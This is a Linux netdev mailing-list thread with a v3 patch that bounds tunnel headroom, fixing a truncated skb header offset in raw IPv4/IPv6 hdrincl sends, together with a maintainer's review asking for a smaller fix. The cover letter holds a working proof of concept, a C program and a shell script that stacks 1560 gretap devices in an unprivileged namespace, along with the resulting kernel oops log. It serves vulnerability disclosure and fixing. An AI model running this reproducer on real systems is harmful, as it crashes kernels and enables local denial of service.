Netdev List
 help / color / mirror / Atom feed
* [PATCH net v3 0/1] net: ip_tunnel: reject excessive tunnel stacking headroom
@ 2026-08-02 18:49 Zihan Xi
  2026-08-02 18:49 ` [PATCH net v3 1/1] " Zihan Xi
  0 siblings, 1 reply; 5+ messages in thread
From: Zihan Xi @ 2026-08-02 18:49 UTC (permalink / raw)
  To: netdev
  Cc: dsahern, idosch, davem, edumazet, pabeni, horms, steffen.klassert,
	herbert, kuniyu, gustavoars, runyu.xiao, jlayton,
	michael.bommarito, kees, willemb, lirongqing, vega, zihanx

Hi Linux kernel maintainers,

We found and validated a issue in net/ipv4/raw.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before storing
skb header offsets in 16-bit fields. Since commit 1a37e412a022 ("net: Use
16bits for *_headers fields of struct skbuff"), these offsets must stay
representable, and U16_MAX is also the unset sentinel for transport_header.

The reproducer builds a very deep gretap stack. Each IPv4 tunnel derives its
needed_headroom from the lower device in ip_tunnel_bind_dev(), so the final
LL_RESERVED_SPACE(dev) can grow beyond what the skb header offset fields can
represent. On the IPv4 hdrincl path, skb_reserve(skb, hlen) followed by
skb_reset_network_header(skb) then stores a truncated network_header offset.
raw_send_hdrinc() copies the userspace IPv4 header to ip_hdr(skb) at the
wrapped offset, and the malformed skb later faults in eth_header().

IPv4 also has a second boundary at hlen + iphlen, because the transport heade
is advanced by the user-controlled IPv4 header length and U16_MAX itself is
not a valid stored transport offset.

This version rejects IPv4 tunnel configurations when the computed tunnel
headroom would make LL_RESERVED_SPACE(dev) exceed the skb header offset range
needed by raw IPv4 hdrincl. That rejects the bad gretap stack at control time
instead of adding checks to later per-packet hot paths. Small raw IPv4 and
IPv6 hdrincl guards remain as a final bound check for devices that are not
created through the IPv4 tunnel control path.

The reproducer below exercises the IPv4 hdrincl crash path. The primary fix
is the IPv4 tunnel control-time headroom check; the raw IPv6 change is only a
matching hdrincl boundary guard and is not covered by the same crash log.

We did not use packetdrill for the reproducer because the trigger depends on
constructing a very deep gretap device stack so that LL_RESERVED_SPACE(dev)
reaches the truncation boundary before the raw hdrincl send. packetdrill can
express the final packet send, but not this device-topology setup as the main
trigger condition.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc
    Actual trigger wrapper used in validation:
    unshare -Urn ./poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <netinet/ip.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

static uint16_t ip_checksum(const void *buf, size_t len)
{
	const uint8_t *p = buf;
	uint32_t sum = 0;

	while (len > 1) {
		sum += ((uint32_t)p[0] << 8) | p[1];
		p += 2;
		len -= 2;
	}

	if (len)
		sum += (uint32_t)p[0] << 8;

	while (sum >> 16)
		sum = (sum & 0xffffU) + (sum >> 16);

	return (uint16_t)~sum;
}

int main(int argc, char **argv)
{
	static const char payload[] = "ABCD";
	const char *ifname = argc > 1 ? argv[1] : "g1560";
	const char *dst_str = argc > 2 ? argv[2] : "192.0.2.2";
	const char *src_str = argc > 3 ? argv[3] : "192.0.2.1";
	struct sockaddr_in dst = {
		.sin_family = AF_INET,
	};
	struct iphdr iph = {
		.version = 4,
		.ihl = 5,
		.tos = 0,
		.tot_len = htons(sizeof(struct iphdr) + sizeof(payload) - 1),
		.id = htons(0x1234),
		.frag_off = 0,
		.ttl = 64,
		.protocol = 253,
		.check = 0,
	};
	unsigned char packet[sizeof(iph) + sizeof(payload) - 1];
	int fd;
	ssize_t n;

	if (inet_pton(AF_INET, src_str, &iph.saddr) != 1) {
		fprintf(stderr, "bad src %s\n", src_str);
		return 1;
	}
	if (inet_pton(AF_INET, dst_str, &iph.daddr) != 1) {
		fprintf(stderr, "bad dst %s\n", dst_str);
		return 1;
	}
	if (inet_pton(AF_INET, dst_str, &dst.sin_addr) != 1) {
		fprintf(stderr, "bad sockaddr dst %s\n", dst_str);
		return 1;
	}

	iph.check = ip_checksum(&iph, sizeof(iph));
	memcpy(packet, &iph, sizeof(iph));
	memcpy(packet + sizeof(iph), payload, sizeof(payload) - 1);

	fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (fd < 0) {
		perror("socket");
		return 1;
	}

	{
		int one = 1;

		if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
			perror("setsockopt(IP_HDRINCL)");
			close(fd);
			return 1;
		}
		if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, ifname,
			       strlen(ifname) + 1) < 0) {
			perror("setsockopt(SO_BINDTODEVICE)");
			close(fd);
			return 1;
		}
	}

	n = sendto(fd, packet, sizeof(packet), 0,
		   (struct sockaddr *)&dst, sizeof(dst));
	if (n < 0) {
		perror("sendto");
		close(fd);
		return 1;
	}

	printf("sent %zd bytes via %s to %s\n", n, ifname, dst_str);
	close(fd);
	return 0;
}
------END poc.c--------

------BEGIN poc.sh------
#!/bin/sh
set -eu

DEPTH="${DEPTH:-1560}"
TOP="g${DEPTH}"

if ip route show default 2>/dev/null | grep -q .; then
	echo "run inside an isolated netns, e.g. unshare -n $0 or unshare -Urn $0" >&2
	exit 1
fi

ip link add dummy0 type dummy
ip link set dummy0 up mtu 100000

lower="dummy0"
i=1
while [ "$i" -le "$DEPTH" ]; do
	a=$(( (i / 250) % 250 + 1 ))
	b=$(( i % 250 + 1 ))
	lip="10.${a}.${b}.1"
	rip="10.${a}.${b}.2"
	ip link add "g${i}" type gretap local "${lip}" remote "${rip}" dev "${lower}" key 1
	lower="g${i}"
	i=$((i + 1))
done

ip link set "${TOP}" up
ip addr add 192.0.2.1/24 dev "${TOP}"
ip neigh replace 192.0.2.2 lladdr 02:11:22:33:44:55 nud permanent dev "${TOP}"

exec ./poc "${TOP}" 192.0.2.2 192.0.2.1
------END poc.sh--------

----BEGIN crash log----
[   52.208710] BUG: unable to handle page fault for address: ffffa3986611fffe
[   52.220274] #PF: supervisor write access in kernel mode
[   52.228822] #PF: error_code(0x0002) - not-present page
[   52.249792] Oops: Oops: 0002 [#1] SMP NOPTI
[   52.313650] RIP: 0010:eth_header (net/ethernet/eth.c:86)
[   52.585894] Call Trace:
[   52.591902]  neigh_resolve_output (include/linux/netdevice.h:3503 net/core/neighbour.c:1611 net/core/neighbour.c:1596)
[   52.597910]  ip_finish_output2 (include/net/neighbour.h:560 (discriminator 2) net/ipv4/ip_output.c:236 (discriminator 2))
[   52.603665]  ip_output (net/ipv4/ip_output.c:443 net/ipv4/ip_output.c:324 include/linux/netfilter.h:307 net/ipv4/ip_output.c:437)
[   52.616159]  raw_sendmsg (net/ipv4/raw.c:677)
[   52.638531]  __sys_sendto (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2252 (discriminator 1))
[   52.643321]  __x64_sys_sendto (net/socket.c:2259 net/socket.c:2255 net/socket.c:2255)
[   52.648330]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   52.653123]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
-----END crash log-----

Best regards,
Zihan Xi

changes in v3:
  - Rework the fix to reject excessive IPv4 tunnel headroom at
    configuration time, following Willem de Bruijn's feedback.
  - Drop the broad skb/XFRM/GSO/ESP/IPTFS runtime checked-helper changes
    from v2.
  - Keep only small raw hdrincl guards as a final bound check.
  - v2 Link: https://lore.kernel.org/all/cover.1785529351.git.zihanx@nebusec.ai/
changes in v2:
  - Keep skb_segment() default error code after successful checked skb offset
    updates to avoid returning ERR_PTR(0), as reported by the kernel test
    robot.
  - Extend the checked update coverage to XFRM, ESP offload, and IPTFS
    transport-header recomputation paths instead of relying on raw hdrincl
    entry guards alone.
  - v1 Link: https://lore.kernel.org/all/cover.1785346409.git.zihanx@nebusec.ai/

---
 net/ipv4/ip_vti.c        |   4 +-
 net/ipv4/ipip.c          |   4 +-
 net/ipv4/raw.c           |   3 +
 net/ipv6/raw.c           |   4 ++
 7 files changed, 111 insertions(+), 55 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 5+ messages in thread

* [PATCH net v3 1/1] net: ip_tunnel: reject excessive tunnel stacking headroom
  2026-08-02 18:49 [PATCH net v3 0/1] net: ip_tunnel: reject excessive tunnel stacking headroom Zihan Xi
@ 2026-08-02 18:49 ` Zihan Xi
  2026-08-03 15:28   ` Willem de Bruijn
  2026-08-04 12:07   ` Ido Schimmel
  0 siblings, 2 replies; 5+ messages in thread
From: Zihan Xi @ 2026-08-02 18:49 UTC (permalink / raw)
  To: netdev
  Cc: dsahern, idosch, davem, edumazet, pabeni, horms, steffen.klassert,
	herbert, kuniyu, gustavoars, runyu.xiao, jlayton,
	michael.bommarito, kees, willemb, lirongqing, vega, zihanx

raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before
storing skb header offsets in 16-bit fields. If an egress device has a
very large LL_RESERVED_SPACE(), skb_reset_network_header() stores a
truncated network_header offset and the hdrincl path can later copy the
user header to the wrong location.

The reproducer creates a very deep gretap stack. Each new tunnel derives
its needed_headroom from the lower device, so the stack can grow the
resulting LL headroom beyond what skb header offsets can represent.

Reject IPv4 tunnel configurations when the computed headroom would make
LL_RESERVED_SPACE() exceed the skb header offset range needed by raw
IPv4 hdrincl. This rejects the bad tunnel stack at configuration time
instead of checking every packet in later hot paths. Keep small raw IPv4
and IPv6 hdrincl guards as a final bound check for devices that are not
created through the IPv4 tunnel control path.

Fixes: 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v3:
  - Rework the fix to reject excessive IPv4 tunnel headroom at
    configuration time, following Willem de Bruijn's feedback.
  - Drop the broad skb/XFRM/GSO/ESP/IPTFS runtime checked-helper changes
    from v2.
  - Keep only small raw hdrincl guards as a final bound check.
  - v2 Link: https://lore.kernel.org/all/cover.1785529351.git.zihanx@nebusec.ai/
changes in v2:
  - Keep skb_segment() default error code after successful checked skb offset
    updates to avoid returning ERR_PTR(0), as reported by the kernel test
    robot.
  - Extend the checked update coverage to XFRM, ESP offload, and IPTFS
    transport-header recomputation paths instead of relying on raw hdrincl
    entry guards alone.
  - v1 Link: https://lore.kernel.org/all/cover.1785346409.git.zihanx@nebusec.ai/
---
 include/net/ip_tunnels.h |   5 +-
 net/ipv4/ip_gre.c        |   8 +--
 net/ipv4/ip_tunnel.c     | 138 ++++++++++++++++++++++++++-------------
 net/ipv4/ip_vti.c        |   4 +-
 net/ipv4/ipip.c          |   4 +-
 net/ipv4/raw.c           |   3 +
 net/ipv6/raw.c           |   4 ++
 7 files changed, 111 insertions(+), 55 deletions(-)

diff --git a/include/net/ip_tunnels.h b/include/net/ip_tunnels.h
index d708b66e5..0102fe387 100644
--- a/include/net/ip_tunnels.h
+++ b/include/net/ip_tunnels.h
@@ -425,10 +425,11 @@ int ip_tunnel_rcv(struct ip_tunnel *tunnel, struct sk_buff *skb,
 		  const struct tnl_ptk_info *tpi, struct metadata_dst *tun_dst,
 		  bool log_ecn_error);
 int ip_tunnel_changelink(struct net_device *dev, struct nlattr *tb[],
-			 struct ip_tunnel_parm_kern *p, __u32 fwmark);
+			 struct ip_tunnel_parm_kern *p, __u32 fwmark,
+			 struct netlink_ext_ack *extack);
 int ip_tunnel_newlink(struct net *net, struct net_device *dev,
 		      struct nlattr *tb[], struct ip_tunnel_parm_kern *p,
-		      __u32 fwmark);
+		      __u32 fwmark, struct netlink_ext_ack *extack);
 void ip_tunnel_setup(struct net_device *dev, unsigned int net_id);
 
 bool ip_tunnel_netlink_encap_parms(struct nlattr *data[],
diff --git a/net/ipv4/ip_gre.c b/net/ipv4/ip_gre.c
index 0ba1e94e9..6907688d0 100644
--- a/net/ipv4/ip_gre.c
+++ b/net/ipv4/ip_gre.c
@@ -1424,7 +1424,7 @@ static int ipgre_newlink(struct net_device *dev,
 	if (err < 0)
 		return err;
 	return ip_tunnel_newlink(params->link_net ? : dev_net(dev), dev, tb, &p,
-				 fwmark);
+				 fwmark, extack);
 }
 
 static int erspan_newlink(struct net_device *dev,
@@ -1445,7 +1445,7 @@ static int erspan_newlink(struct net_device *dev,
 	if (err)
 		return err;
 	return ip_tunnel_newlink(params->link_net ? : dev_net(dev), dev, tb, &p,
-				 fwmark);
+				 fwmark, extack);
 }
 
 static int ipgre_changelink(struct net_device *dev, struct nlattr *tb[],
@@ -1468,7 +1468,7 @@ static int ipgre_changelink(struct net_device *dev, struct nlattr *tb[],
 	if (err < 0)
 		return err;
 
-	err = ip_tunnel_changelink(dev, tb, &p, fwmark);
+	err = ip_tunnel_changelink(dev, tb, &p, fwmark, extack);
 	if (err < 0)
 		return err;
 
@@ -1500,7 +1500,7 @@ static int erspan_changelink(struct net_device *dev, struct nlattr *tb[],
 	if (err < 0)
 		return err;
 
-	err = ip_tunnel_changelink(dev, tb, &p, fwmark);
+	err = ip_tunnel_changelink(dev, tb, &p, fwmark, extack);
 	if (err < 0)
 		return err;
 
diff --git a/net/ipv4/ip_tunnel.c b/net/ipv4/ip_tunnel.c
index 9d114bd57..5e4f56c0e 100644
--- a/net/ipv4/ip_tunnel.c
+++ b/net/ipv4/ip_tunnel.c
@@ -9,6 +9,7 @@
 #include <linux/module.h>
 #include <linux/types.h>
 #include <linux/kernel.h>
+#include <linux/limits.h>
 #include <linux/slab.h>
 #include <linux/uaccess.h>
 #include <linux/skbuff.h>
@@ -277,16 +278,31 @@ static struct net_device *__ip_tunnel_create(struct net *net,
 	return ERR_PTR(err);
 }
 
-static int ip_tunnel_bind_dev(struct net_device *dev)
+static bool ip_tunnel_headroom_too_large(const struct net_device *dev,
+					 unsigned int needed_headroom)
+{
+	unsigned int hlen;
+
+	hlen = ((dev->hard_header_len + needed_headroom) &
+		~(HH_DATA_MOD - 1)) + HH_DATA_MOD;
+
+	return hlen >= U16_MAX - (sizeof(struct iphdr) + MAX_IPOPTLEN);
+}
+
+static int ip_tunnel_calc_dev_config(struct net_device *dev,
+				     const struct ip_tunnel_parm_kern *parms,
+				     __u32 fwmark,
+				     unsigned int *needed_headroom,
+				     int *mtu,
+				     struct netlink_ext_ack *extack)
 {
 	struct net_device *tdev = NULL;
 	struct ip_tunnel *tunnel = netdev_priv(dev);
-	const struct iphdr *iph;
+	const struct iphdr *iph = &parms->iph;
 	int hlen = LL_MAX_HEADER;
-	int mtu = ETH_DATA_LEN;
 	int t_hlen = tunnel->hlen + sizeof(struct iphdr);
 
-	iph = &tunnel->parms.iph;
+	*mtu = ETH_DATA_LEN;
 
 	/* Guess output device to choose reasonable mtu and needed_headroom */
 	if (iph->daddr) {
@@ -294,36 +310,58 @@ static int ip_tunnel_bind_dev(struct net_device *dev)
 		struct rtable *rt;
 
 		ip_tunnel_init_flow(&fl4, iph->protocol, iph->daddr,
-				    iph->saddr, tunnel->parms.o_key,
+				    iph->saddr, parms->o_key,
 				    iph->tos & INET_DSCP_MASK, tunnel->net,
-				    tunnel->parms.link, tunnel->fwmark, 0, 0);
+				    parms->link, fwmark, 0, 0);
 		rt = ip_route_output_key(tunnel->net, &fl4);
 
 		if (!IS_ERR(rt)) {
 			tdev = rt->dst.dev;
 			ip_rt_put(rt);
 		}
-		if (dev->type != ARPHRD_ETHER)
-			dev->flags |= IFF_POINTOPOINT;
-
-		dst_cache_reset(&tunnel->dst_cache);
 	}
 
-	if (!tdev && tunnel->parms.link)
-		tdev = __dev_get_by_index(tunnel->net, tunnel->parms.link);
+	if (!tdev && parms->link)
+		tdev = __dev_get_by_index(tunnel->net, parms->link);
 
 	if (tdev) {
 		hlen = tdev->hard_header_len + tdev->needed_headroom;
-		mtu = min(tdev->mtu, IP_MAX_MTU);
+		*mtu = min(tdev->mtu, IP_MAX_MTU);
+	}
+
+	*needed_headroom = t_hlen + hlen;
+	if (ip_tunnel_headroom_too_large(dev, *needed_headroom)) {
+		NL_SET_ERR_MSG(extack, "tunnel headroom exceeds skb header offset limit");
+		return -E2BIG;
 	}
 
-	dev->needed_headroom = t_hlen + hlen;
-	mtu -= t_hlen + (dev->type == ARPHRD_ETHER ? dev->hard_header_len : 0);
+	*mtu -= t_hlen + (dev->type == ARPHRD_ETHER ? dev->hard_header_len : 0);
+	if (*mtu < IPV4_MIN_MTU)
+		*mtu = IPV4_MIN_MTU;
 
-	if (mtu < IPV4_MIN_MTU)
-		mtu = IPV4_MIN_MTU;
+	return 0;
+}
+
+static int ip_tunnel_bind_dev(struct net_device *dev, int *mtu,
+			      struct netlink_ext_ack *extack)
+{
+	struct ip_tunnel *tunnel = netdev_priv(dev);
+	unsigned int needed_headroom;
+	int err;
+
+	err = ip_tunnel_calc_dev_config(dev, &tunnel->parms, tunnel->fwmark,
+					&needed_headroom, mtu, extack);
+	if (err)
+		return err;
+
+	if (tunnel->parms.iph.daddr) {
+		if (dev->type != ARPHRD_ETHER)
+			dev->flags |= IFF_POINTOPOINT;
+		dst_cache_reset(&tunnel->dst_cache);
+	}
+	dev->needed_headroom = needed_headroom;
 
-	return mtu;
+	return 0;
 }
 
 static struct ip_tunnel *ip_tunnel_create(struct net *net,
@@ -340,7 +378,9 @@ static struct ip_tunnel *ip_tunnel_create(struct net *net,
 	if (IS_ERR(dev))
 		return ERR_CAST(dev);
 
-	mtu = ip_tunnel_bind_dev(dev);
+	err = ip_tunnel_bind_dev(dev, &mtu, NULL);
+	if (err)
+		goto err_dev_set_mtu;
 	err = dev_set_mtu(dev, mtu);
 	if (err)
 		goto err_dev_set_mtu;
@@ -859,13 +899,20 @@ void ip_tunnel_xmit(struct sk_buff *skb, struct net_device *dev,
 }
 EXPORT_SYMBOL_GPL(ip_tunnel_xmit);
 
-static void ip_tunnel_update(struct ip_tunnel_net *itn,
-			     struct ip_tunnel *t,
-			     struct net_device *dev,
-			     struct ip_tunnel_parm_kern *p,
-			     bool set_mtu,
-			     __u32 fwmark)
+static int ip_tunnel_update(struct ip_tunnel_net *itn,
+			    struct ip_tunnel *t, struct net_device *dev,
+			    struct ip_tunnel_parm_kern *p, bool set_mtu,
+			    __u32 fwmark, struct netlink_ext_ack *extack)
 {
+	unsigned int needed_headroom;
+	int mtu;
+	int err;
+
+	err = ip_tunnel_calc_dev_config(dev, p, fwmark, &needed_headroom,
+					&mtu, extack);
+	if (err)
+		return err;
+
 	ip_tunnel_del(itn, t);
 	t->parms.iph.saddr = p->iph.saddr;
 	t->parms.iph.daddr = p->iph.daddr;
@@ -880,18 +927,15 @@ static void ip_tunnel_update(struct ip_tunnel_net *itn,
 	t->parms.iph.ttl = p->iph.ttl;
 	t->parms.iph.tos = p->iph.tos;
 	t->parms.iph.frag_off = p->iph.frag_off;
-
-	if (t->parms.link != p->link || t->fwmark != fwmark) {
-		int mtu;
-
-		WRITE_ONCE(t->parms.link, p->link);
-		t->fwmark = fwmark;
-		mtu = ip_tunnel_bind_dev(dev);
-		if (set_mtu)
-			WRITE_ONCE(dev->mtu, mtu);
-	}
+	WRITE_ONCE(t->parms.link, p->link);
+	t->fwmark = fwmark;
+	dev->needed_headroom = needed_headroom;
+	if (set_mtu)
+		WRITE_ONCE(dev->mtu, mtu);
 	dst_cache_reset(&t->dst_cache);
 	netdev_state_change(dev);
+
+	return 0;
 }
 
 int ip_tunnel_ctl(struct net_device *dev, struct ip_tunnel_parm_kern *p,
@@ -962,8 +1006,7 @@ int ip_tunnel_ctl(struct net_device *dev, struct ip_tunnel_parm_kern *p,
 		}
 
 		if (t) {
-			err = 0;
-			ip_tunnel_update(itn, t, dev, p, true, 0);
+			err = ip_tunnel_update(itn, t, dev, p, true, 0, NULL);
 		} else {
 			err = -ENOENT;
 		}
@@ -1128,6 +1171,7 @@ int ip_tunnel_init_net(struct net *net, unsigned int ip_tnl_net_id,
 	struct ip_tunnel_net *itn = net_generic(net, ip_tnl_net_id);
 	struct ip_tunnel_parm_kern parms;
 	unsigned int i;
+	int mtu;
 
 	itn->rtnl_link_ops = ops;
 	for (i = 0; i < IP_TNL_HASH_SIZE; i++)
@@ -1153,9 +1197,11 @@ int ip_tunnel_init_net(struct net *net, unsigned int ip_tnl_net_id,
 	 */
 	if (!IS_ERR(itn->fb_tunnel_dev)) {
 		itn->fb_tunnel_dev->netns_immutable = true;
-		itn->fb_tunnel_dev->mtu = ip_tunnel_bind_dev(itn->fb_tunnel_dev);
-		ip_tunnel_add(itn, netdev_priv(itn->fb_tunnel_dev));
-		itn->type = itn->fb_tunnel_dev->type;
+		if (!ip_tunnel_bind_dev(itn->fb_tunnel_dev, &mtu, NULL)) {
+			itn->fb_tunnel_dev->mtu = mtu;
+			ip_tunnel_add(itn, netdev_priv(itn->fb_tunnel_dev));
+			itn->type = itn->fb_tunnel_dev->type;
+		}
 	}
 	rtnl_unlock();
 
@@ -1194,7 +1240,7 @@ EXPORT_SYMBOL_GPL(ip_tunnel_delete_net);
 
 int ip_tunnel_newlink(struct net *net, struct net_device *dev,
 		      struct nlattr *tb[], struct ip_tunnel_parm_kern *p,
-		      __u32 fwmark)
+		      __u32 fwmark, struct netlink_ext_ack *extack)
 {
 	struct ip_tunnel *nt;
 	struct ip_tunnel_net *itn;
@@ -1222,7 +1268,9 @@ int ip_tunnel_newlink(struct net *net, struct net_device *dev,
 	if (dev->type == ARPHRD_ETHER && !tb[IFLA_ADDRESS])
 		eth_hw_addr_random(dev);
 
-	mtu = ip_tunnel_bind_dev(dev);
+	err = ip_tunnel_bind_dev(dev, &mtu, extack);
+	if (err)
+		goto err_dev_set_mtu;
 	if (tb[IFLA_MTU]) {
 		unsigned int max = IP_MAX_MTU - (nt->hlen + sizeof(struct iphdr));
 
@@ -1247,7 +1295,8 @@ int ip_tunnel_newlink(struct net *net, struct net_device *dev,
 EXPORT_SYMBOL_GPL(ip_tunnel_newlink);
 
 int ip_tunnel_changelink(struct net_device *dev, struct nlattr *tb[],
-			 struct ip_tunnel_parm_kern *p, __u32 fwmark)
+			 struct ip_tunnel_parm_kern *p, __u32 fwmark,
+			 struct netlink_ext_ack *extack)
 {
 	struct ip_tunnel *t;
 	struct ip_tunnel *tunnel = netdev_priv(dev);
@@ -1279,8 +1328,7 @@ int ip_tunnel_changelink(struct net_device *dev, struct nlattr *tb[],
 		}
 	}
 
-	ip_tunnel_update(itn, t, dev, p, !tb[IFLA_MTU], fwmark);
-	return 0;
+	return ip_tunnel_update(itn, t, dev, p, !tb[IFLA_MTU], fwmark, extack);
 }
 EXPORT_SYMBOL_GPL(ip_tunnel_changelink);
 
diff --git a/net/ipv4/ip_vti.c b/net/ipv4/ip_vti.c
index 3b8092999..18b6382b4 100644
--- a/net/ipv4/ip_vti.c
+++ b/net/ipv4/ip_vti.c
@@ -585,7 +585,7 @@ static int vti_newlink(struct net_device *dev,
 
 	vti_netlink_parms(data, &parms, &fwmark);
 	return ip_tunnel_newlink(params->link_net ? : dev_net(dev), dev, tb,
-				 &parms, fwmark);
+				 &parms, fwmark, extack);
 }
 
 static int vti_changelink(struct net_device *dev, struct nlattr *tb[],
@@ -600,7 +600,7 @@ static int vti_changelink(struct net_device *dev, struct nlattr *tb[],
 		return -EPERM;
 
 	vti_netlink_parms(data, &p, &fwmark);
-	return ip_tunnel_changelink(dev, tb, &p, fwmark);
+	return ip_tunnel_changelink(dev, tb, &p, fwmark, extack);
 }
 
 static size_t vti_get_size(const struct net_device *dev)
diff --git a/net/ipv4/ipip.c b/net/ipv4/ipip.c
index b643194f5..1684a81a9 100644
--- a/net/ipv4/ipip.c
+++ b/net/ipv4/ipip.c
@@ -481,7 +481,7 @@ static int ipip_newlink(struct net_device *dev,
 
 	ipip_netlink_parms(data, &p, &t->collect_md, &fwmark);
 	return ip_tunnel_newlink(params->link_net ? : dev_net(dev), dev, tb, &p,
-				 fwmark);
+				 fwmark, extack);
 }
 
 static int ipip_changelink(struct net_device *dev, struct nlattr *tb[],
@@ -512,7 +512,7 @@ static int ipip_changelink(struct net_device *dev, struct nlattr *tb[],
 	    (!(dev->flags & IFF_POINTOPOINT) && p.iph.daddr))
 		return -EINVAL;
 
-	return ip_tunnel_changelink(dev, tb, &p, fwmark);
+	return ip_tunnel_changelink(dev, tb, &p, fwmark, extack);
 }
 
 static size_t ipip_get_size(const struct net_device *dev)
diff --git a/net/ipv4/raw.c b/net/ipv4/raw.c
index 7f74d8b95..8e6e8c684 100644
--- a/net/ipv4/raw.c
+++ b/net/ipv4/raw.c
@@ -43,6 +43,7 @@
 #include <linux/slab.h>
 #include <linux/errno.h>
 #include <linux/kernel.h>
+#include <linux/limits.h>
 #include <linux/export.h>
 #include <linux/spinlock.h>
 #include <linux/sockios.h>
@@ -356,6 +357,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
 		goto out;
 
 	hlen = LL_RESERVED_SPACE(rt->dst.dev);
+	if (hlen >= U16_MAX - (sizeof(struct iphdr) + MAX_IPOPTLEN))
+		return -EINVAL;
 	tlen = rt->dst.dev->needed_tailroom;
 	skb = sock_alloc_send_skb(sk,
 				  length + hlen + tlen + 15,
diff --git a/net/ipv6/raw.c b/net/ipv6/raw.c
index b88d364e7..fa223ec02 100644
--- a/net/ipv6/raw.c
+++ b/net/ipv6/raw.c
@@ -15,6 +15,7 @@
  */
 
 #include <linux/errno.h>
+#include <linux/limits.h>
 #include <linux/types.h>
 #include <linux/socket.h>
 #include <linux/slab.h>
@@ -613,6 +614,9 @@ static int rawv6_send_hdrinc(struct sock *sk, struct msghdr *msg, int length,
 	if (flags&MSG_PROBE)
 		goto out;
 
+	if (hlen >= U16_MAX)
+		return -EINVAL;
+
 	skb = sock_alloc_send_skb(sk,
 				  length + hlen + tlen + 15,
 				  flags & MSG_DONTWAIT, &err);
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 5+ messages in thread

* Re: [PATCH net v3 1/1] net: ip_tunnel: reject excessive tunnel stacking headroom
  2026-08-02 18:49 ` [PATCH net v3 1/1] " Zihan Xi
@ 2026-08-03 15:28   ` Willem de Bruijn
  2026-08-04 12:07   ` Ido Schimmel
  1 sibling, 0 replies; 5+ messages in thread
From: Willem de Bruijn @ 2026-08-03 15:28 UTC (permalink / raw)
  To: Zihan Xi, netdev
  Cc: dsahern, idosch, davem, edumazet, pabeni, horms, steffen.klassert,
	herbert, kuniyu, gustavoars, runyu.xiao, jlayton,
	michael.bommarito, kees, willemb, lirongqing, vega, zihanx

Zihan Xi wrote:
> raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before
> storing skb header offsets in 16-bit fields. If an egress device has a
> very large LL_RESERVED_SPACE(), skb_reset_network_header() stores a
> truncated network_header offset and the hdrincl path can later copy the
> user header to the wrong location.
> 
> The reproducer creates a very deep gretap stack. Each new tunnel derives
> its needed_headroom from the lower device, so the stack can grow the
> resulting LL headroom beyond what skb header offsets can represent.
> 
> Reject IPv4 tunnel configurations when the computed headroom would make
> LL_RESERVED_SPACE() exceed the skb header offset range needed by raw
> IPv4 hdrincl. This rejects the bad tunnel stack at configuration time
> instead of checking every packet in later hot paths. Keep small raw IPv4
> and IPv6 hdrincl guards as a final bound check for devices that are not
> created through the IPv4 tunnel control path.
> 
> Fixes: 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:gpt-5.4
> Signed-off-by: Zihan Xi <zihanx@nebusec.ai>

This is again a very large patch, with changes that are not strictly
required for the fix, such as those extack extensions.

Bugfixes should be as small as possible, to make them easy to backport
with minimal risk of conflicts. And smaller generally is also easier
to review for correctness and lack of unintended side effects.

Is the new ip_tunnel_headroom_too_large check the only part that is
really needed to bound headroom for stackable devices?
> ---
> changes in v3:
>   - Rework the fix to reject excessive IPv4 tunnel headroom at
>     configuration time, following Willem de Bruijn's feedback.
>   - Drop the broad skb/XFRM/GSO/ESP/IPTFS runtime checked-helper changes
>     from v2.
>   - Keep only small raw hdrincl guards as a final bound check.
>   - v2 Link: https://lore.kernel.org/all/cover.1785529351.git.zihanx@nebusec.ai/
> changes in v2:
>   - Keep skb_segment() default error code after successful checked skb offset
>     updates to avoid returning ERR_PTR(0), as reported by the kernel test
>     robot.
>   - Extend the checked update coverage to XFRM, ESP offload, and IPTFS
>     transport-header recomputation paths instead of relying on raw hdrincl
>     entry guards alone.
>   - v1 Link: https://lore.kernel.org/all/cover.1785346409.git.zihanx@nebusec.ai/
> ---
>  include/net/ip_tunnels.h |   5 +-
>  net/ipv4/ip_gre.c        |   8 +--
>  net/ipv4/ip_tunnel.c     | 138 ++++++++++++++++++++++++++-------------
>  net/ipv4/ip_vti.c        |   4 +-
>  net/ipv4/ipip.c          |   4 +-
>  net/ipv4/raw.c           |   3 +
>  net/ipv6/raw.c           |   4 ++
>  7 files changed, 111 insertions(+), 55 deletions(-)
> 
> diff --git a/include/net/ip_tunnels.h b/include/net/ip_tunnels.h
> index d708b66e5..0102fe387 100644
> --- a/include/net/ip_tunnels.h
> +++ b/include/net/ip_tunnels.h
> @@ -425,10 +425,11 @@ int ip_tunnel_rcv(struct ip_tunnel *tunnel, struct sk_buff *skb,
>  		  const struct tnl_ptk_info *tpi, struct metadata_dst *tun_dst,
>  		  bool log_ecn_error);
>  int ip_tunnel_changelink(struct net_device *dev, struct nlattr *tb[],
